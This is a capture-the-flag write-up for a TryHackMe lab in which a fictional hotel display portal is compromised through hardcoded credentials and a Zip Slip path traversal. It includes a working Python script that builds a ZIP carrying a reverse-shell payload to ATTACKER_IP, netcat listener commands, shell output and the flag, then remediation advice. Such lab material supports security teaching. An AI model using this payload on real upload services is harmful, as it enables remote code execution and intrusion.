The Hollow Shell — TryHackMe Hacker Holidays Day 10
The Byte Lotus Hotel lets staff personalise guest room displays by uploading a "shell" — a ZIP souvenir pack. The Shoreline Display portal processes these uploads, extracts their contents, and runs automation hooks. Here is how we bypassed ZIP validation to drop a reverse shell.
Overview
The goal is to slip past what the portal forgets to validate during ZIP extraction, allowing us to perform a Zip Slip directory traversal attack and execute code on the server via automation hooks.
🎯 Objectives
- Perform reconnaissance to identify hardcoded credentials
- Analyze the portal's ZIP file extraction behavior
- Craft a Zip Slip exploit containing a Python payload
- Execute the payload to obtain a Remote Shell and capture the flag
Step 1 — Read the Source, Find the Credentials
First, navigate to http://<TARGET_IP>:5000 and inspect the HTML page source before interacting with the login form. Developers often leave comments during staging or debugging:
🔍 Developer Comment Discovered
Inspecting the login page source reveals a comment containing hardcoded staff credentials.
Username: concierge
Password: StayNoticed2024!
Log in with these credentials to access the Shoreline Display portal dashboard.
Step 2 — Understand the Upload Mechanism
The portal presents an upload form designed for ZIP archives with the following description:
"Each shell must contain a shell.json manifest listing its assets (images, stylesheets). A shell may include optional automation hooks — the theme worker applies these for you shortly after the shell comes ashore."
Behind the scenes, the server does the following upon receiving an upload:
- Accepts and saves the ZIP archive
- Extracts it (without sanitising internal file paths ⚠️)
- Reads
shell.jsonto register assets - Automatically loads and executes any Python script referenced as hooks
A minimal valid manifest format (shell.json) looks like this:
{
"name": "beach",
"assets": ["beach.png"],
"hooks": []
}
⚠️ The Vulnerability
The server extracts ZIP contents trusting the archive's internal paths. By using directory traversal payloads (like ../../) in our archive's paths, we can write files outside the target upload directory.
Step 3 — Zip Slip to RCE
By crafting a ZIP file containing a script at ../../hooks/callback.py, we can drop our code directly into the hooks/ directory, which the server automatically executes shortly after processing.
Let's use a Python helper script to build the malicious archive:
#!/usr/bin/env python3
import zipfile, json
ATTACKER_IP = "ATTACKER_IP"
PORT = 4444
manifest = {"name": "reverse", "assets": []}
callback = f'''
import socket, os, pty
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect(("{ATTACKER_IP}", {PORT}))
for fd in (0, 1, 2):
os.dup2(sock.fileno(), fd)
pty.spawn("/bin/bash")
'''
with zipfile.ZipFile("reverse-shell.zip", "w") as z:
z.writestr("shell.json", json.dumps(manifest))
z.writestr("../../hooks/callback.py", callback)
print("[+] reverse-shell.zip created")
Compile the payload zip archive:
python3 build_payload.py
Step 4 — Catch the Shell
Start a netcat listener on your attacking machine:
nc -lvnp 4444
Upload the reverse-shell.zip payload using the upload form. Once processed, the server extracts our reverse shell script into the hooks/ directory, and the theme worker executes it. You should get an incoming connection in your terminal:
$ nc -lvnp 4444
listening on [any] 4444 ...
connect to [ATTACKER_IP] from (UNKNOWN) [TARGET_IP] 38472
concierge@byte-lotus:/app$
Step 5 — Find the Flag
Enumerate the host filesystem to locate the flag file:
cd /
cat flag.txt
🎉 FLAG CAPTURED!
THM{z1p_sl1p_t0_sh3ll_g00d_t1m3s}
Full Attack Chain
[Login Page — HTML source]
│
│ Hardcoded credentials in HTML comment
▼
[Shoreline Display Portal — /upload]
│
│ ZIP accepted without path sanitisation
▼
[Zip Slip — ../../hooks/callback.py]
│
│ Theme worker auto-loads Python files from hooks/
▼
[Remote Code Execution — reverse shell]
│
│ Enumerate filesystem
▼
[Flag: THM{z1p_sl1p_t0_sh3ll_g00d_t1m3s}]
Key Takeaways / Remediation
Zip Slip is a directory traversal vulnerability that happens during extraction. When a server processes files inside an archive without verifying they resolve inside the designated destination folder, paths containing ../ can write to sensitive or executable directories.
| Vulnerability | Remediation / Fix |
|---|---|
| Zip Slip Traversal | Canonicalise extraction paths. Ensure target filenames begin with the destination directory path. Reject relative directory markers. |
| Hardcoded Credentials | Use secure environment variables or vaults. Never write testing or debug credentials in HTML comments. |
| Unrestricted Hook Loading | Do not execute automated scripts from client uploads. Restrict execution to pre-configured scripts or sandbox environments. |
💭 Final Thoughts
Zip Slip vulnerabilities highlight the risk of relying on standard archive extraction libraries without explicitly sanitising and bounds-checking the output paths of extracted files. Always validate filenames inside archives.